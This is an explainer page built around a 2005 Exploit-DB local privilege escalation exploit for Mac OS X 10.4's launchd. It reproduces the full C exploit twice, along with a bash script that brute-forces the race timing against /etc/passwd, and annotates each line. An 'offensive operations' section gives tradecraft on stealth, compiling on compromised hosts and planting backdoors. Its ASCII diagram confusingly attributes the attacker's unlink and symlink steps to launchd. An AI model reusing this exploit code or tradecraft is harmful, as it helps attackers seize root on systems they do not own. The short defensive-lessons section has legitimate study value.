Apple Mac OSX 10.4 launchd Race Condition Exploit Explained

Apple Mac OSX 10.4 launchd Race Condition Exploit Explained
What this paper is
This paper details a local privilege escalation vulnerability in Apple's Mac OS X 10.4 (Tiger) operating system. The vulnerability lies within the launchd process, a core system daemon responsible for launching and managing daemons and other processes. The exploit leverages a race condition to gain elevated privileges by manipulating a socket file used by launchd.
Simple technical breakdown
The core of the exploit is a race condition. launchd creates a socket file in a specific directory (/var/launchd/). The exploit tries to create this socket file, but before launchd can fully use it, the exploit attempts to replace it with a symbolic link pointing to a sensitive file (like /etc/passwd). If the timing is right, launchd might then operate on the target file as if it were the socket, leading to unintended consequences and potential privilege escalation.
Complete code and payload walkthrough
The provided code is a C program designed to exploit the race condition.
/*
* Mac OS X 10.4 launchd race condition exploit
*
* intropy (intropy <at> caughq.org)
*/
/* .sh script to help with the offsets /str0ke
#!/bin/bash
X=1000
Y=3000
I=1
while ((1))
do
./CAU-launchd /etc/passwd $X
if [ $I -lt 30 ]
then
((X=$X+$Y))
((I=$I+1))
else
X=1000
I=1
fi
done
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#define DEBUG 0
#define SLEEP 6000
main(int argc, char *argv[])
{
pid_t pid;
int count, sleep = SLEEP;
char name[100];
char target[100];
struct stat *stats = (struct stat *)malloc(sizeof(struct stat));
if ( argc < 2) {
fprintf(stderr, "%s <file to 0wn>\n", argv[0]);
exit(-1);
} else if ( argc > 2 ) {
sleep = atoi(argv[2]);
strncpy(target, argv[1], sizeof(target)-1);
} else {
strncpy(target, argv[1], sizeof(target)-1);
}
if ( DEBUG ) printf("Going for %s\n", target);
if ( DEBUG ) printf("Using usleep %d\n", sleep);
pid = fork();
if ( pid == 0 ) {
// Child process: Attempts to run launchd with a dummy command
if ( DEBUG ) {
system("/sbin/launchd -v /bin/ls -R /var/launchd/ 2>/dev/null");
} else {
system("/sbin/launchd -v /bin/ls -R /var/launchd/ >/dev/null 2>&1");
}
} else {
// Parent process: Creates the symbolic link
snprintf(name, sizeof(name)-1, "/var/launchd/%d.%d/sock", getuid(), pid+2);
if ( DEBUG ) printf("Checking %s\n", name);
usleep(sleep); // Wait for a short period
if ( DEBUG ) printf("Removing sock...\n");
if ( (unlink(name)) != 0 ) {
// If unlink fails, it might mean the socket file doesn't exist yet,
// or we don't have permissions.
if ( DEBUG ) perror("unlink");
} else {
// If unlink succeeds, we've removed the socket file. Now create the symlink.
if ( (symlink(target, name)) != 0 ) {
// If symlink fails, it could be due to permissions or the target path being invalid.
if ( DEBUG ) perror("symlink");
} else {
// Successfully created the symbolic link.
if ( DEBUG ) printf("Created symlink %s -> %s...\n", name, target);
}
}
stat(target, stats); // Get stats of the target file
if ( stats->st_uid == getuid() ) {
// If the owner of the target file is the current user, it implies
// we might have successfully tricked launchd into operating on it.
printf("Looks like we got it\n");
usleep(10000000); // Keep the process alive for a while
}
}
}
// milw0rm.com [2005-06-14]Code Fragment/Block -> Practical Purpose Mapping:
/* ... */(Bash script): This is a helper script provided by "str0ke" to automate the execution of the exploit. It repeatedly runs the C exploit with/etc/passwdas the target and adjusts theusleepdelay ($Xand$Yvariables) to try and find the correct timing for the race condition.#include <stdio.h>,#include <stdlib.h>, etc.: Standard C library includes for input/output, memory allocation, string manipulation, process control, and file system operations.#define DEBUG 0: A flag to enable or disable debug printing. When0, debug messages are suppressed.#define SLEEP 6000: The default sleep duration in microseconds. This value is crucial for the race condition.main(int argc, char *argv[]): The entry point of the C program.pid_t pid;: Variable to store the process ID.int count, sleep = SLEEP;: Variables for loop control (unused in the final code) and the sleep duration.char name[100];: Buffer to store the name of the socket file thatlaunchdis expected to create.char target[100];: Buffer to store the path of the file the attacker wants to gain control over (e.g.,/etc/passwd).struct stat *stats = (struct stat *)malloc(sizeof(struct stat));: Allocates memory to store file status information.
if ( argc < 2) { ... }: Checks if at least one command-line argument (the target file) is provided. If not, it prints a usage message and exits.else if ( argc > 2 ) { ... } else { ... }: Handles command-line arguments.- If more than two arguments are given, the third argument is parsed as an integer for the
sleepduration. - The first argument is always copied into the
targetbuffer.
- If more than two arguments are given, the third argument is parsed as an integer for the
if ( DEBUG ) printf(...): Debug output statements.pid = fork();: Creates a new process.- If
pid == 0(Child Process):system("/sbin/launchd -v /bin/ls -R /var/launchd/ >/dev/null 2>&1");: This is the critical part where the child process attempts to runlaunchd.launchdis invoked with verbose output (-v) and a dummy command (/bin/ls -R /var/launchd/). The output is redirected to/dev/nullto keep the console clean. The intention is thatlaunchdwill create its expected socket file in/var/launchd/. The-vflag might be used to increase the likelihood oflaunchdcreating the socket early in its execution.
- If
pid > 0(Parent Process):snprintf(name, sizeof(name)-1, "/var/launchd/%d.%d/sock", getuid(), pid+2);: Constructs the expected path for thelaunchdsocket file. It uses the current user's ID (getuid()) and a derived PID (pid+2) to create a unique directory and socket name. This directory and socket are whatlaunchdis expected to create.usleep(sleep);: This is the core of the race condition. The parent process pauses for a specified duration (sleep). The goal is to pause long enough forlaunchd(in the child process) to start creating its socket file, but not so long thatlaunchdfinishes using it.if ( (unlink(name)) != 0 ) { ... }: Attempts to delete the socket file (name). Iflaunchdhas already created it, this removes it. If it hasn't created it yet, or if permissions prevent deletion,unlinkwill fail.else { if ( (symlink(target, name)) != 0 ) { ... } else { ... } }: Ifunlinkwas successful (meaning the socket file was removed, or it didn't exist yet and the exploit is trying to create the symlink beforelaunchddoes), this block attempts to create a symbolic link (symlink) from the expected socket path (name) to the attacker-specifiedtargetfile.stat(target, stats);: After attempting to create the symlink, the parent process checks the status of thetargetfile.if ( stats->st_uid == getuid() ) { ... }: This condition checks if the owner of thetargetfile is the current user. If the exploit successfully replaced thelaunchdsocket with a symlink pointing to a file the attacker owns, andlaunchdthen operates on this symlink in a way that modifies its ownership or permissions to reflect the attacker's user, this condition might be met. This is a heuristic to determine if the exploit "worked."printf("Looks like we got it\n");: Informs the user that the exploit might have succeeded.usleep(10000000);: Keeps the parent process running for 10 seconds, likely to prevent the system from cleaning up the created symlink immediately.
- If
Shellcode/Payload Segments:
There is no explicit shellcode or binary payload in this C code. The "payload" is the act of creating the symbolic link and the subsequent actions of the launchd process that are influenced by this link. The exploit doesn't inject code; it manipulates file system objects to trick an existing system process.
Practical details for offensive operations teams
- Required Access Level: Local user account with the ability to execute programs and create files/symlinks in user-writable directories. No root privileges are initially required.
- Lab Preconditions:
- A vulnerable Mac OS X 10.4 (Tiger) system.
- A user account on the target system.
- The
launchdprocess must be running and accessible in the expected manner. - The target file (e.g.,
/etc/passwd) must exist and be writable bylaunchdunder certain conditions, or the exploit aims to tricklaunchdinto writing to it.
- Tooling Assumptions:
- A C compiler (like GCC) to compile the exploit code on the target or a similar system.
- Standard Unix utilities (
fork,usleep,unlink,symlink,snprintf,stat,system).
- Execution Pitfalls:
- Race Condition Timing: The
usleepvalue is critical. Too short, andlaunchdmight create its socket before the exploit can remove it. Too long, andlaunchdmight have already finished its operation. The provided bash script attempts to brute-force this timing. - Permissions: The exploit relies on being able to
unlinkandsymlinkfiles in/var/launchd/. Iflaunchd's directory structure or permissions change, the exploit might fail. launchdBehavior: The exact behavior oflaunchdin Mac OS X 10.4 might vary slightly, affecting the timing and success rate. The-vflag might influence how quicklylaunchdcreates its socket.- Target File: The exploit assumes the attacker can choose a target file that
launchdmight interact with in a privileged context. The success of privilege escalation depends on whatlaunchddoes with the symlinked file. - Detection: Running
system()calls, especially withlaunchdand file manipulation, can generate telemetry. Theusleepcalls might also be noticeable.
- Race Condition Timing: The
- Tradecraft Considerations:
- Stealth: The exploit requires local execution. To maintain stealth, compile the exploit on a compromised machine or transfer pre-compiled binaries carefully. Avoid verbose output (
DEBUG=0). - Timing Automation: Use the provided bash script or a similar mechanism to automate the timing adjustments. This is crucial for reliability.
- Target Selection: Choose target files wisely.
/etc/passwdis a classic example for demonstrating privilege escalation, but other sensitive configuration files could also be targeted depending onlaunchd's operational context. - Post-Exploitation: If successful, the immediate goal is to establish a more persistent, elevated shell. This might involve writing a backdoor or modifying system configurations.
- Stealth: The exploit requires local execution. To maintain stealth, compile the exploit on a compromised machine or transfer pre-compiled binaries carefully. Avoid verbose output (
Where this was used and when
This exploit was published in June 2005. It targets Mac OS X 10.4 (Tiger). While specific instances of its real-world deployment are not detailed in the paper, vulnerabilities of this nature are typically discovered and exploited by security researchers and potentially by malicious actors during periods when the targeted software is widely in use. The context is local privilege escalation on a desktop or server running Mac OS X 10.4.
Defensive lessons for modern teams
- Race Condition Awareness: Developers must be acutely aware of race conditions, especially in multi-process or multi-threaded environments where shared resources (like files) are involved. Proper locking mechanisms and atomic operations are essential.
- Principle of Least Privilege: System daemons like
launchdshould operate with the minimum necessary privileges. Iflaunchddoesn't need to write to arbitrary user-controlled locations or interact with sensitive files in a way that can be subverted, its attack surface is reduced. - Secure File Handling: System processes should not blindly trust or operate on file paths that could be manipulated by unprivileged users. Input validation and careful handling of symbolic links are critical.
- Process Isolation: Modern operating systems employ stronger process isolation and sandboxing techniques, which can mitigate the impact of such vulnerabilities even if they exist.
- Timely Patching: This exploit highlights the importance of applying security patches promptly. Vendors release patches to fix known vulnerabilities, and staying up-to-date is the primary defense.
- Auditing and Monitoring: Robust system auditing can help detect suspicious file operations, such as unexpected
unlinkandsymlinkcalls in system directories or modifications to critical system files.
ASCII visual (if applicable)
This exploit involves a timing-based interaction between two processes. An ASCII diagram can illustrate this:
+-----------------+ +-----------------+
| Attacker Process| | launchd |
| (Parent) | | (Child) |
+-----------------+ +-----------------+
| |
| fork() |
|------------------------>|
| |
| usleep(delay) |
|------------------------>|
| |
| | Tries to create socket:
| | /var/launchd/<uid>.<pid+2>/sock
| |------------------------------>
| |
| | unlink(socket_path)
| |------------------------------>
| | (May fail if launchd is faster)
| |
| | symlink(target_file, socket_path)
| |------------------------------>
| | (Exploit replaces socket with symlink)
| |
| | launchd performs operation
| | on the symlink (target_file)
| |------------------------------>
| |
| stat(target_file) |
|<------------------------|
| |
| Check ownership |
|------------------------>|
| (If owner is current user)|
| |
| Print "Got it!" |
+-------------------------+Source references
- Paper ID: 1043
- Paper Title: Apple Mac OSX 10.4 - launchd Race Condition
- Author: intropy
- Published: 2005-06-14
- Keywords: OSX, local
- Paper URL: https://www.exploit-db.com/papers/1043
- Raw URL: https://www.exploit-db.com/raw/1043
Original Exploit-DB Content (Verbatim)
/*
* Mac OS X 10.4 launchd race condition exploit
*
* intropy (intropy <at> caughq.org)
*/
/* .sh script to help with the offsets /str0ke
#!/bin/bash
X=1000
Y=3000
I=1
while ((1))
do
./CAU-launchd /etc/passwd $X
if [ $I -lt 30 ]
then
((X=$X+$Y))
((I=$I+1))
else
X=1000
I=1
fi
done
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#define DEBUG 0
#define SLEEP 6000
main(int argc, char *argv[])
{
pid_t pid;
int count, sleep = SLEEP;
char name[100];
char target[100];
struct stat *stats = (struct stat *)malloc(sizeof(struct stat));
if ( argc < 2) {
fprintf(stderr, "%s <file to 0wn>\n", argv[0]);
exit(-1);
} else if ( argc > 2 ) {
sleep = atoi(argv[2]);
strncpy(target, argv[1], sizeof(target)-1);
} else {
strncpy(target, argv[1], sizeof(target)-1);
}
if ( DEBUG ) printf("Going for %s\n", target);
if ( DEBUG ) printf("Using usleep %d\n", sleep);
pid = fork();
if ( pid == 0 ) {
if ( DEBUG ) {
system("/sbin/launchd -v /bin/ls -R /var/launchd/ 2>/dev/null");
} else {
system("/sbin/launchd -v /bin/ls -R /var/launchd/ >/dev/null 2>&1");
}
} else {
snprintf(name, sizeof(name)-1, "/var/launchd/%d.%d/sock", getuid(), pid+2);
if ( DEBUG ) printf("Checking %s\n", name);
usleep(sleep);
if ( DEBUG ) printf("Removing sock...\n");
if ( (unlink(name)) != 0 ) {
if ( DEBUG ) perror("unlink");
} else {
if ( (symlink(target, name)) != 0 ) {
if ( DEBUG ) perror("symlink");
} else {
if ( DEBUG ) printf("Created symlink %s -> %s...\n", name, target);
}
}
stat(target, stats);
if ( stats->st_uid == getuid() ) {
printf("Looks like we got it\n");
usleep(10000000);
}
}
}
// milw0rm.com [2005-06-14]